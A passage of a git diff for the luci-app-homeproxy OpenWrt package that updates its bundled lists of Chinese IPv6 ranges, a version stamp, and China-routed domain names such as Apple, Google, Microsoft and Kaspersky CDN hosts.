-2408:840d:5400::/42 -2408:840d:5b00::/42 -2408:840d:5b40::/43 -2408:840d:5d00::/42 -2408:840d:5f00::/42 -2408:840d:5f40::/43 -2408:840d:6100::/42 -2408:840d:6800::/42 -2408:840d:6840::/43 -2408:840d:6a00::/42 -2408:840d:6c00::/42 -2408:840d:6c40::/43 -2408:840d:6e00::/42 -2408:840d:7500::/42 -2408:840d:7540::/43 -2408:840d:7700::/42 -2408:840d:7900::/42 -2408:840d:7940::/43 -2408:840d:7b00::/42 -2408:840d:8200::/42 -2408:840d:8240::/43 -2408:840d:8400::/42 -2408:840d:8600::/42 -2408:840d:8640::/43 -2408:840d:8800::/42 -2408:840d:8f00::/42 -2408:840d:8f40::/43 -2408:840d:9100::/42 -2408:840d:9300::/42 -2408:840d:9340::/43 -2408:840d:9500::/42 -2408:840d:9c00::/42 -2408:840d:9c40::/43 -2408:840d:9e00::/42 -2408:840d:a000::/42 -2408:840d:a040::/43 -2408:840d:a200::/42 -2408:840d:a900::/42 -2408:840d:a940::/43 -2408:840d:ab00::/42 -2408:840d:ad00::/42 -2408:840d:ad40::/43 -2408:840d:af00::/42 -2408:840d:b600::/42 -2408:840d:b640::/43 -2408:840d:b800::/42 -2408:840d:ba00::/42 -2408:840d:ba40::/43 -2408:840d:bc00::/42 -2408:840d:c300::/42 -2408:840d:c340::/43 -2408:840d:c500::/42 -2408:840d:c700::/42 -2408:840d:c740::/43 -2408:840d:c900::/42 -2408:840d:d000::/42 -2408:840d:d040::/43 -2408:840d:d200::/42 -2408:840d:d400::/42 -2408:840d:d440::/43 -2408:840d:d600::/42 -2408:840d:dd00::/42 -2408:840d:dd40::/43 -2408:840d:de00::/42 -2408:840e:dd00::/40 -2408:840e:de00::/40 -2408:840f:1e0::/46 -2408:840f:1e4::/47 -2408:8410::/30 -2408:8414::/31 -2408:8417::/32 -2408:8418::/32 -2408:841a::/31 -2408:841c::/31 -2408:841e::/32 -2408:8420::/31 -2408:8422::/32 -2408:8426::/31 -2408:842a::/31 -2408:842c::/32 -2408:842e::/32 -2408:8430::/31 -2408:8434::/30 -2408:8438::/31 -2408:843c::/30 -2408:8440::/31 -2408:8444::/30 -2408:8448::/32 -2408:844b::/32 -2408:844c::/30 -2408:8452::/31 -2408:8454::/32 -2408:8456::/31 -2408:8458::/30 -2408:845c::/31 -2408:8460::/30 -2408:8464::/31 -2408:8466::/32 -2408:8469::/32 -2408:846a::/31 -2408:846c::/30 -2408:8470::/31 -2408:8474::/30 -2408:8478::/31 -2408:847a::/32 -2408:84e1::/32 -2408:84e2::/31 -2408:84e4::/30 -2408:84e9::/32 -2408:84eb::/32 -2408:84ec::/30 -2408:84f0::/28 -2408:856c::/31 -2408:8606::/31 -2408:8608::/29 -2408:8610::/30 -2408:8614::/31 -2408:861a::/31 -2408:861c::/32 -2408:8620::/31 -2408:8624::/31 -2408:8626::/32 -2408:862a::/31 -2408:862d::/32 -2408:862e::/31 -2408:8630::/29 -2408:8638::/31 -2408:863c::/31 -2408:8640::/32 -2408:8642::/32 -2408:8644::/30 -2408:8648::/31 -2408:864c::/32 -2408:864e::/31 -2408:8650::/30 -2408:8656::/31 -2408:8658::/30 -2408:865c::/31 -2408:865f::/32 -2408:8660::/32 -2408:8662::/31 -2408:8664::/31 -2408:8666::/32 -2408:866a::/31 -2408:866c::/30 -2408:8670::/32 -2408:8674::/30 -2408:8678::/31 -2408:867a::/32 -2408:8706::/31 -2408:8708::/29 -2408:8710::/30 -2408:8719::/32 -2408:871a::/31 -2408:8720::/30 -2408:8726::/32 -2408:872b::/32 -2408:872f::/32 -2408:8730::/30 -2408:8734::/31 -2408:8736::/32 -2408:8738::/32 -2408:873c::/31 -2408:8740::/32 -2408:8742::/32 -2408:8744::/30 -2408:8748::/29 -2408:8752::/32 -2408:8756::/31 -2408:8758::/30 -2408:875c::/32 -2408:8760::/32 -2408:8762::/31 -2408:8764::/31 -2408:8766::/32 -2408:8768::/32 -2408:876a::/32 -2408:876c::/30 -2408:8770::/32 -2408:8772::/31 -2408:8774::/32 -2408:8776::/31 -2408:8778::/31 -2408:877a::/32 -2408:877c::/30 -2408:8806::/42 -2408:8806:40::/43 -2408:880c::/30 -2408:8810::/30 -2408:8814::/31 -2408:8818::/31 -2408:882c::/32 -2408:883a::/32 -2408:8844::/43 -2408:8844:40::/43 -2408:8856::/31 -2408:8858::/30 -2408:8862::/31 -2408:8864::/31 -2408:8866::/32 -2408:886e::/31 -2408:8872::/32 -2408:8878::/31 -2408:887e::/32 -2408:8906:20::/44 -2408:8906:40::/43 -2408:8907:9000::/44 -2408:890c::/31 -2408:8912::/31 -2408:8914::/30 -2408:891c::/32 -2408:8920::/32 -2408:8924::/32 -2408:892c::/32 -2408:8936::/32 -2408:893a::/32 -2408:8940::/32 -2408:8948::/32 -2408:894c::/32 -2408:894e::/32 -2408:8956::/31 -2408:8958::/30 -2408:8962::/31 -2408:8964::/31 -2408:8966::/32 -2408:896c::/32 -2408:896e::/31 -2408:8972::/32 -2408:8978::/30 -2408:897e::/32 -2408:8a00:c000::/36 -2408:8a00:d000::/37 -2408:8a00:e000::/35 -2408:8a01::/36 -2408:8a02:b110::/44 -2408:8a02:b120::/44 -2408:8a04:8000::/36 -2408:8a04:e000::/40 -2408:8a05:6000::/35 -2408:8a05:8000::/36 -2408:8a06::/47 -2408:8a06:100::/47 -2408:8a07::/40 -2408:8a21:4000::/35 -2408:8a22::/35 -2408:8a23:4000::/34 -2408:8a24:4000::/34 -2408:8a26:c000::/34 -2408:8a27:4000::/35 -2409:2000::/31 -2409:2002::/32 -2409:2003::/47 -2409:27fa::/48 -2409:27fa:f000::/48 -2409:27fb::/48 -2409:27fc::/48 -2409:27fe::/33 -2409:6100::/44 -2409:8000::/20 -240a:2000::/40 -240a:2001:100::/40 -240a:2001:1000::/36 -240a:4020:83a::/48 -240a:4020:883a::/48 -240a:4021:83a::/48 -240a:4021:883a::/48 -240a:4090:50::/48 -240a:4090:120::/48 -240a:4090:250::/48 -240a:4090:1000::/39 -240a:4090:1200::/40 -240a:4090:2010::/48 -240a:4090:2041::/48 -240a:4090:2061::/48 -240a:4090:3000::/39 -240a:4090:3200::/40 -240a:4090:5000::/39 -240a:4090:5200::/40 -240a:4090:7000::/39 -240a:4090:7200::/40 -240a:40b0:83a::/48 -240a:40b0:283a::/48 -240a:40b0:483a::/48 -240a:40b0:683a::/48 -240a:40c0:8000::/43 -240a:40c0:a000::/43 -240a:40c0:c000::/43 -240a:40c0:e000::/43 -240a:40c1::/43 -240a:40c1:2000::/43 -240a:40c1:4000::/43 -240a:40c1:6000::/43 -240a:40c1:8000::/43 -240a:40c1:a000::/43 -240a:40c1:c000::/43 -240a:40c1:e000::/43 -240a:40c2::/43 -240a:40c2:2000::/43 -240a:40c2:4000::/43 -240a:40c2:6000::/43 -240a:40c2:8000::/43 -240a:40c2:a000::/43 -240a:40c2:c000::/43 -240a:40c2:e000::/43 -240a:40c3::/43 -240a:40c3:2000::/43 -240a:40c3:4000::/43 -240a:40c3:6000::/43 -240a:40c3:8000::/43 -240a:40c3:a000::/43 -240a:40c3:c000::/43 -240a:40c3:e000::/43 -240a:40c4::/43 -240a:40c4:2000::/43 -240a:40c4:4000::/43 -240a:4280::/26 -240a:42c0::/27 -240a:42e0::/28 -240a:42f0::/29 -240a:42f8::/30 -240a:6001::/48 +2407:da80::/32 +2407:db80::/32 +2407:dc80::/32 +2407:dd80::/32 +2407:de80::/32 +2407:df80::/32 +2407:dfc0::/32 +2407:e080::/32 +2407:e180::/32 +2407:e280::/32 +2407:e380::/32 +2407:e480::/32 +2407:e580::/32 +2407:e680::/32 +2407:e780::/32 +2407:e800::/32 +2407:ea80::/32 +2407:eb80::/32 +2407:ec40::/32 +2407:ec80::/32 +2407:ecc0::/32 +2407:ed80::/32 +2407:ee80::/32 +2407:ef80::/32 +2407:f080::/32 +2407:f180::/32 +2407:f280::/32 +2407:f380::/32 +2407:f480::/32 +2407:f580::/32 +2407:f680::/32 +2407:f780::/32 +2407:f880::/32 +2407:f980::/32 +2407:fa80::/32 +2407:fb80::/32 +2407:fc80::/32 +2407:fd80::/32 +2408:4000::/40 +2408:4000:100::/47 +2408:4000:103::/48 +2408:4000:104::/46 +2408:4000:108::/45 +2408:4000:110::/44 +2408:4000:120::/43 +2408:4000:140::/42 +2408:4000:180::/41 +2408:4000:200::/39 +2408:4000:400::/38 +2408:4000:800::/37 +2408:4000:1000::/36 +2408:4000:2000::/35 +2408:4000:4000::/34 +2408:4000:8000::/33 +2408:4001::/32 +2408:4002::/31 +2408:4004::/30 +2408:4008::/29 +2408:4010::/30 +2408:4014::/31 +2408:4016:2::/47 +2408:4016:4::/46 +2408:4016:8::/45 +2408:4016:10::/44 +2408:4016:20::/43 +2408:4016:40::/42 +2408:4016:80::/41 +2408:4016:100::/40 +2408:4016:200::/39 +2408:4016:400::/38 +2408:4016:800::/37 +2408:4016:1000::/36 +2408:4016:2000::/35 +2408:4016:4000::/34 +2408:4016:8000::/33 +2408:4017::/32 +2408:4018::/29 +2408:4020::/27 +2408:4040::/26 +2408:4080::/25 +2408:4100::/24 +2408:4200::/23 +2408:6000::/24 +2408:8000::/20 +2409:1000::/20 +2409:2000::/21 +2409:6000::/20 +2409:8000::/21 +2409:8800::/22 +2409:8c00::/25 +2409:8c80::/30 +2409:8c84::/32 +2409:8c85::/34 +2409:8c85:4000::/36 +2409:8c85:5000::/38 +2409:8c85:5400::/43 +2409:8c85:5420::/44 +2409:8c85:5430::/47 +2409:8c85:5433::/48 +2409:8c85:5434::/46 +2409:8c85:5438::/45 +2409:8c85:5440::/42 +2409:8c85:5480::/41 +2409:8c85:5500::/40 +2409:8c85:5600::/39 +2409:8c85:5800::/37 +2409:8c85:6000::/35 +2409:8c85:8000::/33 +2409:8c86::/31 +2409:8c88::/29 +2409:8c90::/28 +2409:8ca0::/27 +2409:8cc0::/26 +2409:8d00::/24 +2409:8e00::/23 +240a:2000::/24 +240a:4000::/21 +240a:6000::/24 +240a:8000::/21 240a:a000::/20 240a:c000::/20 -240b:e001::/32 -240b:e002::/31 -240b:e004::/30 -240b:e008::/29 -240b:e010::/32 +240b:2000::/22 +240b:6000::/20 +240b:8000::/21 +240b:a000::/25 +240b:e000::/26 +240c:0:1::/48 +240c:0:2::/47 +240c:0:4::/46 +240c:0:8::/45 +240c:0:10::/44 +240c:0:20::/43 +240c:0:40::/42 +240c:0:80::/41 +240c:0:100::/40 +240c:0:200::/39 +240c:0:400::/38 +240c:0:800::/37 +240c:0:1000::/36 +240c:0:2000::/35 +240c:0:4000::/34 +240c:0:8000::/33 +240c:6:2::/48 +240c:6:4::/46 +240c:6:8::/45 +240c:6:10::/44 +240c:6:20::/43 +240c:6:40::/42 +240c:6:80::/41 +240c:6:100::/40 +240c:6:200::/39 +240c:6:400::/38 +240c:6:800::/37 +240c:6:1000::/36 +240c:6:2000::/35 +240c:6:4000::/34 +240c:6:8000::/33 +240c:f::/48 +240c:f:2::/47 +240c:f:4::/46 +240c:f:8::/45 +240c:f:10::/44 +240c:f:20::/43 +240c:f:40::/42 +240c:f:80::/41 +240c:f:100::/40 +240c:f:200::/39 +240c:f:400::/38 +240c:f:800::/37 +240c:f:1000::/36 +240c:f:2000::/35 +240c:f:4000::/34 +240c:f:8000::/33 240c:4000::/22 +240c:8000::/21 240c:c000::/20 240d:4000::/21 -240e::/20 +240d:8000::/24 +240e::/21 +240e:800::/24 +240e:900::/26 +240e:940::/27 +240e:960::/28 +240e:970::/29 +240e:978::/30 +240e:97c::/32 +240e:97d::/33 +240e:97d:8001::/48 +240e:97d:8002::/47 +240e:97d:8004::/46 +240e:97d:8008::/45 +240e:97d:8010::/44 +240e:97d:8020::/43 +240e:97d:8040::/42 +240e:97d:8080::/41 +240e:97d:8100::/40 +240e:97d:8200::/39 +240e:97d:8400::/38 +240e:97d:8800::/37 +240e:97d:9000::/36 +240e:97d:a000::/35 +240e:97d:c000::/34 +240e:97e::/31 +240e:980::/25 +240e:a00::/23 +240e:c00::/22 +240e:1000::/20 +240e:2000::/19 +240f:4000::/24 +240f:8000::/24 +240f:c000::/24 +2602:f70d::/36 2605:9d80:8001::/48 2605:9d80:8011::/48 2605:9d80:8021::/48 @@ -963,8 +3208,8 @@ 2605:9d80:9042::/48 2605:9d80:9071::/48 2605:9d80:9092::/48 -2804:1e48:9001::/48 2804:1e48:9002::/48 +2a03:f900::/29 2a04:3e00:1002::/48 2a04:f580:8010::/47 2a04:f580:8090::/48 @@ -989,25 +3234,162 @@ 2a04:f580:9270::/48 2a04:f580:9280::/48 2a04:f580:9290::/48 -2a05:1086::/32 -2a0a:d685:1ff::/48 -2a0a:d685:300::/40 -2a0b:4340:97::/48 -2a0d:c7c7:400::/38 +2a05:1085::/32 +2a0a:2840::/29 +2a0a:d680::/37 +2a0a:d680:800::/39 +2a0a:d680:a00::/43 +2a0a:d680:a20::/44 +2a0a:d680:a30::/48 +2a0a:d680:a32::/47 +2a0a:d680:a34::/46 +2a0a:d680:a38::/45 +2a0a:d680:a40::/42 +2a0a:d680:a80::/41 +2a0a:d680:b00::/40 +2a0a:d680:c00::/38 +2a0a:d680:1000::/36 +2a0a:d680:2000::/35 +2a0a:d680:4000::/34 +2a0a:d680:8000::/40 +2a0a:d680:8102::/47 +2a0a:d680:8104::/46 +2a0a:d680:8108::/45 +2a0a:d680:8110::/44 +2a0a:d680:8120::/43 +2a0a:d680:8140::/42 +2a0a:d680:8180::/41 +2a0a:d680:8200::/39 +2a0a:d680:8400::/38 +2a0a:d680:8800::/37 +2a0a:d680:9000::/36 +2a0a:d680:a000::/35 +2a0a:d680:c000::/34 +2a0a:d681::/33 +2a0a:d681:8000::/34 +2a0a:d681:c000::/35 +2a0a:d681:e100::/40 +2a0a:d681:e200::/39 +2a0a:d681:e400::/38 +2a0a:d681:e800::/37 +2a0a:d681:f000::/36 +2a0a:d682::/33 +2a0a:d682:8000::/34 +2a0a:d682:c000::/36 +2a0a:d683::/32 +2a0a:d684::/32 +2a0a:d685::/40 +2a0a:d685:100::/41 +2a0a:d685:180::/42 +2a0a:d685:1c0::/43 +2a0a:d685:1e2::/47 +2a0a:d685:1e4::/46 +2a0a:d685:1e8::/45 +2a0a:d685:1f0::/45 +2a0a:d685:1f8::/47 +2a0a:d685:1fa::/48 +2a0a:d685:202::/47 +2a0a:d685:204::/46 +2a0a:d685:208::/45 +2a0a:d685:210::/44 +2a0a:d685:220::/43 +2a0a:d685:240::/42 +2a0a:d685:280::/41 +2a0a:d685:400::/38 +2a0a:d685:800::/37 +2a0a:d685:1000::/36 +2a0a:d685:2000::/35 +2a0a:d685:4000::/34 +2a0a:d685:8000::/33 +2a0a:d686::/32 +2a0a:d687::/33 +2a0a:d687:8000::/34 +2a0a:d687:c000::/35 +2a0a:d687:e000::/36 +2a0a:d687:f000::/48 +2a0a:d687:f002::/47 +2a0a:d687:f006::/48 +2a0a:d687:f009::/48 +2a0a:d687:f00a::/47 +2a0a:d687:f00c::/46 +2a0a:d687:f010::/44 +2a0a:d687:f020::/43 +2a0a:d687:f040::/42 +2a0a:d687:f080::/41 +2a0a:d687:f100::/40 +2a0a:d687:f200::/39 +2a0a:d687:f400::/38 +2a0a:d687:f800::/37 +2a0c:b641:573::/48 +2a0e:7580::/32 +2a0e:7582::/31 +2a0e:7584::/30 2a0e:aa06:49f::/48 2a0e:b107:740::/44 -2a0f:1cc5:1600::/44 -2a0f:1cc5:4700::/40 -2a0f:9400:6110::/48 -2a12:cb41:600::/44 -2a12:cb41:1200::/44 -2a12:cb41:1300::/44 -2a12:cb41:13f0::/44 -2a13:1801:180::/43 -2a13:a5c3:f000::/40 -2a14:7580:d10::/44 -2a14:7580:d20::/46 -2a14:7583:efe7::/48 +2a13:1800:1::/48 +2a13:1800:2::/47 +2a13:1800:4::/46 +2a13:1800:8::/45 +2a13:1800:11::/48 +2a13:1800:12::/47 +2a13:1800:14::/46 +2a13:1800:18::/45 +2a13:1800:20::/43 +2a13:1800:40::/42 +2a13:1800:90::/44 +2a13:1800:a0::/43 +2a13:1800:c0::/42 +2a13:1800:100::/40 +2a13:1800:200::/40 +2a13:1800:310::/44 +2a13:1800:320::/43 +2a13:1800:340::/42 +2a13:1800:380::/41 +2a13:1800:400::/38 +2a13:1800:800::/37 +2a13:1800:1000::/36 +2a13:1800:2000::/35 +2a13:1800:4000::/34 +2a13:1800:8000::/33 +2a13:1801::/40 +2a13:1801:100::/41 +2a13:1801:1a0::/43 +2a13:1801:1c0::/42 +2a13:1801:210::/44 +2a13:1801:220::/43 +2a13:1801:240::/42 +2a13:1801:280::/41 +2a13:1801:300::/40 +2a13:1801:400::/38 +2a13:1801:800::/37 +2a13:1801:1000::/36 +2a13:1801:2000::/35 +2a13:1801:4000::/34 +2a13:1801:8000::/33 +2a13:1802:20::/43 +2a13:1802:40::/42 +2a13:1802:80::/41 +2a13:1802:100::/40 +2a13:1802:200::/39 +2a13:1802:400::/38 +2a13:1802:800::/37 +2a13:1802:1000::/36 +2a13:1802:2000::/35 +2a13:1802:4000::/34 +2a13:1802:8000::/34 +2a13:1802:c000::/44 +2a13:1802:c020::/43 +2a13:1802:c040::/42 +2a13:1802:c080::/41 +2a13:1802:c100::/40 +2a13:1802:c200::/39 +2a13:1802:c400::/38 +2a13:1802:c800::/37 +2a13:1802:d000::/36 +2a13:1802:e000::/35 +2a13:1803::/32 +2a13:1804::/30 +2a13:8b40::/29 2c0f:f7a8:8011::/48 2c0f:f7a8:8050::/48 2c0f:f7a8:805f::/48 diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.ver b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.ver index d287692cc..5d7e941a2 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.ver +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.ver @@ -1 +1 @@ -20260811040949 +202609130005 diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.txt b/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.txt index 2eef7e416..b9af2b38a 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.txt +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/china_list.txt @@ -1,3 +1,556 @@ +2mdn-cn.net +2mdn.net +a1.mzstatic.com +a2.mzstatic.com +a3.mzstatic.com +a4.mzstatic.com +a5.mzstatic.com +account-cn.alibabacloud.com +activate.activation-v2.kaspersky.com +activation-v2.geo.kaspersky.com +activation-v2.kaspersky.com +adcdownload.apple.com +adcdownload.apple.com.akadns.net +admob-cn.com +adservice.google.com +ai.zhaomi.cn +alibaba.cdn.steampipe.steamcontent.com +amp-api-edge-lb-cn.itunes-apple.com.akadns.net +amp-api-edge-lb.itunes-apple.com.akadns.net +amp-api-edge.apps.apple.com +amp-api-edge.music.apple.com +amp-api-search-edge.apps.apple.com +amp-api-updates.apps.apple.com +amp-api.apps.apple.com +amp-api.media.apple.com +amp-api.music.apple.com +amp-api.podcasts.apple.com +aod-ssl.itunes.apple.com +aod.itunes.apple.com +api-edge.apps.apple.com +api.alibabacloud.com +api.blipsandchitz.me +app-analytics-services.com +app-measurement-cn.com +app-measurement.com +app-site-association.cdn-apple.com +appldnld.apple.com +appldnld.g.aaplimg.com +appleid.cdn-apple.com +apps.mzstatic.com +apps5.oingo.com +apptrailers.itunes.apple.com +avail.googleflights.net +azuremigrate.download.prss.microsoft.com +azuremigratetest.download.prss.microsoft.com +azurestackhub.download.prss.microsoft.com +azurestackhubuat.download.prss.microsoft.com +b.c2r.ts.cdn.office.net +bag-cdn.itunes-apple.com.akadns.net +bag.itunes.apple.com +beacons.gcp.gvt2.com +beacons.gvt2.com +beacons2.gvt2.com +beacons3.gvt2.com +bj1.api.bing.com +bookkeeper.itunes.apple.com +c.admob.com +c.android.clients.google.com +c.pki.goog +cache-management-prod.google.com +cache.pack.google.com +cbdstest.download.prss.microsoft.com +cdn-cn.apple-mapkit.com +cdn-cn1.apple-mapkit.com +cdn-cn2.apple-mapkit.com +cdn-cn3.apple-mapkit.com +cdn-cn4.apple-mapkit.com +cdn.ampproject.org +cdn.apple-mapkit.com +cdn.globalsigncdn.com.cdn.cloudflare.net +cdn1.apple-mapkit.com +cdn2.apple-mapkit.com +cdn3.apple-mapkit.com +cdn4.apple-mapkit.com +cds-cdn.v.aaplimg.com +cds.apple.com +cds.apple.com.akadns.net +cdsassets.apple.com +certs-lb.apple.com.akadns.net +certs.apple.com +checkin.gstatic.com +cl1-cdn.origin-apple.com.akadns.net +cl1.apple.com +cl2-cdn.origin-apple.com.akadns.net +cl2-cn.apple.com +cl2.apple.com +cl2.apple.com.edgekey.net.globalredir.akadns.net +cl3-cdn.origin-apple.com.akadns.net +cl3.apple.com +cl4-cdn.origin-apple.com.akadns.net +cl4-cn.apple.com +cl4.apple.com +cl5-cdn.origin-apple.com.akadns.net +cl5.apple.com +clickserve.cc-dt.com +clickserve.dartsearch.net +clickserver.googleads.com +client-api.itunes.apple.com +clientflow.apple.com +clientflow.apple.com.akadns.net +clientservices.googleapis.com +cma.itunes.apple.com +cn-smp-paymentservices.apple.com +cn.alibabacloud.com +cn.download.nvidia.com +cn.widevine.com +cn.windowssearch.com +collaborate.download.prss.microsoft.com +collaborateppe.download.prss.microsoft.com +communities.apple.com +configuration.apple.com +configuration.apple.com.akadns.net +connectivitycheck.gstatic.com +crashlyticsreports-pa.googleapis.com +crl-lb.apple.com.akadns.net +crl.apple.com +crl.globalsign.net +crl.kaspersky.com +crl.pki.goog +crls.pki.goog +csi.gstatic.com +cstat.apple.com +cstat.cdn-apple.com +ctdsb.clouddiffuse.xyz +ctldl.windowsupdate.com +cueme-api.quark.cn +dartsearch-cn.net +dc1-cert.ksn.kaspersky-labs.com +dc1-file.ksn.kaspersky-labs.com +dc1-pp.ksn.kaspersky-labs.com +dc1-st.ksn.kaspersky-labs.com +dc1.ksn.kaspersky-labs.com +dd-cdn.origin-apple.com.akadns.net +dejavu.apple.com +developer.microsoft.com +devimages-cdn.apple.com +devstreaming-cdn.apple.com +dg-meta.video.google.com +discussionschinese.apple.com +dl.google.com +dl.l.google.com +dnl-00.geo.kaspersky.com +dnl-01.geo.kaspersky.com +dnl-02.geo.kaspersky.com +dnl-03.geo.kaspersky.com +dnl-04.geo.kaspersky.com +dnl-05.geo.kaspersky.com +dnl-06.geo.kaspersky.com +dnl-07.geo.kaspersky.com +dnl-08.geo.kaspersky.com +dnl-09.geo.kaspersky.com +dnl-10.geo.kaspersky.com +dnl-11.geo.kaspersky.com +dnl-12.geo.kaspersky.com +dnl-13.geo.kaspersky.com +dnl-14.geo.kaspersky.com +dnl-15.geo.kaspersky.com +dnl-16.geo.kaspersky.com +dnl-17.geo.kaspersky.com +dnl-18.geo.kaspersky.com +dnl-19.geo.kaspersky.com +doubleclick-cn.net +doubleclick.net +download.developer.apple.com +download.microsoft.com +download.mlcc.google.com +download.tensorflow.google.com +download.visualstudio.microsoft.com +downloaddispatch.itunes.apple.com +dreamspark.download.prss.microsoft.com +dreamsparkuat.download.prss.microsoft.com +edge.geo.kaspersky.com +end-api.shallow.ink +end.shallow.ink +entitlements-edge.itunes.apple.com +experiments.apple.com +f.c2r.ts.cdn.office.net +fides-pol.apple.com +firebase-settings.crashlytics.com +fontfiles.googleapis.com +fonts.googleapis.com +fonts.gstatic.com +fpinit.itunes.apple.com +g0.gstatic.com +g1.gstatic.com +g2.gstatic.com +g3.gstatic.com +geetest.datasink.sensorsdata.cn +gog.qtlglb.com +gonglchuangl.net +gongyichuangyi.net +google-analytics-cn.com +google-analytics.com +googleadservices-cn.com +googleadservices.com +googleanalytics.com +googleapis-cn.com +googleapps-cn.com +googleflights-cn.net +googleoptimize-cn.com +googleoptimize.com +googlesyndication-cn.com +googlesyndication.com +googletagmanager-cn.com +googletagmanager.com +googletagservices-cn.com +googletagservices.com +googletraveladservices-cn.com +googletraveladservices.com +googlevads-cn.com +gs-loc-cn.apple.com +gs-loc.apple.com +gsp10-ssl-cn.ls.apple.com +gsp11-cn.ls.apple.com +gsp12-cn.ls.apple.com +gsp13-cn.ls.apple.com +gsp4-cn.ls.apple.com +gsp4-cn.ls.apple.com.edgekey.net.globalredir.akadns.net +gsp5-cn.ls.apple.com +gsp85-cn-ssl.ls.apple.com +gspe11-2-cn-ssl.ls.apple.com +gspe12-cn-ssl.ls.apple.com +gspe19-2-cn-ssl.ls-apple.com.akadns.net +gspe19-2-cn-ssl.ls.apple.com +gspe19-cn-ssl.ls.apple.com +gspe19-cn.ls-apple.com.akadns.net +gspe19-cn.ls.apple.com +gspe21-ssl.ls.apple.com +gspe35-ssl.ls.apple.com +gspe79-cn-ssl.ls.apple.com +gspe85-cn-ssl.ls.apple.com +gstatic-cn.com +gstaticadssl.l.google.com +gtm.oasisfeng.com +guzzoni-apple-com.v.aaplimg.com +guzzoni.apple.com +guzzoni.smoot.apple.com +hellofontpreview.oss-cn-beijing.aliyuncs.com +hellowebfonts.oss-cn-beijing.aliyuncs.com +hospital.pku.edu.cn +i.pki.goog +images-cn-8.ssl-images-amazon.com +images-cn.ssl-images-amazon.com +images.apple.com.edgekey.net.globalredir.akadns.net +imasdk.googleapis.com +inappcheck-cn.itunes-apple.com.akadns.net +inappcheck-lb.itunes-apple.com.akadns.net +inappcheck.itunes.apple.com +init-kt.apple.com +init-p01md-lb.push-apple.com.akadns.net +init-p01md.apple.com +init-p01st-lb.push-apple.com.akadns.net +init-p01st.push.apple.com +init-s01st-lb.push-apple.com.akadns.net +init-s01st.push.apple.com +init.ess.apple.com +init.gc-lb.apple.com.akadns.net +init.gc.apple.com +init.itunes.apple.com +iosapps.itunes.apple.com +iosapps.itunes.g.aaplimg.com +ipcdn.apple.com +iphone-ld.apple.com +iphone-ld.origin-apple.com.akadns.net +is-ssl.mzstatic.com-cn-lb.itunes-apple.com.akadns.net +is1-ssl.mzstatic.com +is1.mzstatic.com +is2-ssl.mzstatic.com +is2.mzstatic.com +is3-ssl.mzstatic.com +is3.mzstatic.com +is4-ssl.mzstatic.com +is4.mzstatic.com +is5-ssl.mzstatic.com +is5.mzstatic.com +itacademy.download.prss.microsoft.com +itacademyuat.download.prss.microsoft.com +itunes-apple.com.akadns.net +itunes.apple.com +itunesconnect.apple.com +izattime.qcomgeo2.com +js-cdn.music.apple.com +km.support.apple.com +ksn-cinfo-geo.kaspersky-labs.com +ksn-cinfo.geoksn.kaspersky.com +ksn-crypto-info-geo.kaspersky-labs.com +ksn-crypto-kas-geo.kaspersky-labs.com +ksn-crypto-tcert-geo.kaspersky-labs.com +ksn-crypto-url-geo.kaspersky-labs.com +ksn-crypto-verdict-geo.kaspersky-labs.com +ksn-crypto-wifiplus-geo.kaspersky-labs.com +ksn-crypto-wifiplus.geoksn.kaspersky.com +ksn-dc1-cert.geoksn.kaspersky.com +ksn-dc1-file.geoksn.kaspersky.com +ksn-dc1.geoksn.kaspersky.com +ksn-file-geo.kaspersky-labs.com +ksn-file.geoksn.kaspersky.com +ksn-info-geo.kaspersky-labs.com +ksn-info.geoksn.kaspersky.com +ksn-kas.geoksn.kaspersky.com +ksn-mdr.geoksn.kaspersky.com +ksn-tcert-geo.kaspersky-labs.com +ksn-tcert.geoksn.kaspersky.com +ksn-url-geo.kaspersky-labs.com +ksn-url.geoksn.kaspersky.com +ksn-verdict-geo.kaspersky-labs.com +ksn-verdict.geoksn.kaspersky.com +lex.download.prss.microsoft.com +lexuat.download.prss.microsoft.com +lv.queniujq.cn +maps.apple.com +mbs.download.prss.microsoft.com +mdr.ksn.kaspersky-labs.com +mensura.cdn-apple.com +mesu-cdn.apple.com.akadns.net +mesu-china.apple.com.akadns.net +mesu.apple.com +misc-assets.itunes.apple.com +ml.cdn-apple.com +moocs.unipus.cn +mpnbenefits.download.prss.microsoft.com +mpnbenefitsrtl.download.prss.microsoft.com +mpnbenefitsrtluat.download.prss.microsoft.com +msdn.download.prss.microsoft.com +msdprod-ad.download.prss.microsoft.com +msproduct.download.prss.microsoft.com +music.apple.com +musicstatus.music.apple.com +mvod.itunes.apple.com +myapp.itunes.apple.com +myvs.download.prss.microsoft.com +np-edge.itunes.apple.com +ntp.aliyun.com +ntp.tencent.com +ntp1.aliyun.com +ntp1.tencent.com +ntp2.aliyun.com +ntp2.tencent.com +ntp3.aliyun.com +ntp3.tencent.com +ntp4.aliyun.com +ntp4.tencent.com +ntp5.aliyun.com +ntp5.tencent.com +ntp6.aliyun.com +ntp7.aliyun.com +o.pki.goog +ocsp.apple.com +ocsp.pki.goog +ocsp2.apple.com +oemsoc.download.prss.microsoft.com +oemsocuat.download.prss.microsoft.com +officecdn.microsoft.com +officemkt.download.prss.microsoft.com +officemktuat.download.prss.microsoft.com +opencourse.pku.edu.cn +oscdn.apple.com +oscdn.origin-apple.com.akadns.net +osrelease.download.prss.microsoft.com +osxapps.itunes.apple.com +osxapps.itunes.g.aaplimg.com +p00.upd.kaspersky.com +p01.upd.kaspersky.com +p02.upd.kaspersky.com +p03.upd.kaspersky.com +p04.upd.kaspersky.com +p05.upd.kaspersky.com +p06.upd.kaspersky.com +p07.upd.kaspersky.com +p08.upd.kaspersky.com +p09.upd.kaspersky.com +p1-juejin.byteimg.com +p10.upd.kaspersky.com +p11.upd.kaspersky.com +p12.upd.kaspersky.com +p13.upd.kaspersky.com +p14.upd.kaspersky.com +p15.upd.kaspersky.com +p16.upd.kaspersky.com +p17.upd.kaspersky.com +p18.upd.kaspersky.com +p19.upd.kaspersky.com +p2-juejin.byteimg.com +p3-juejin.byteimg.com +p3-novel.byteimg.com +p4-juejin.byteimg.com +p5-juejin.byteimg.com +p6-juejin.byteimg.com +p6-novel.byteimg.com 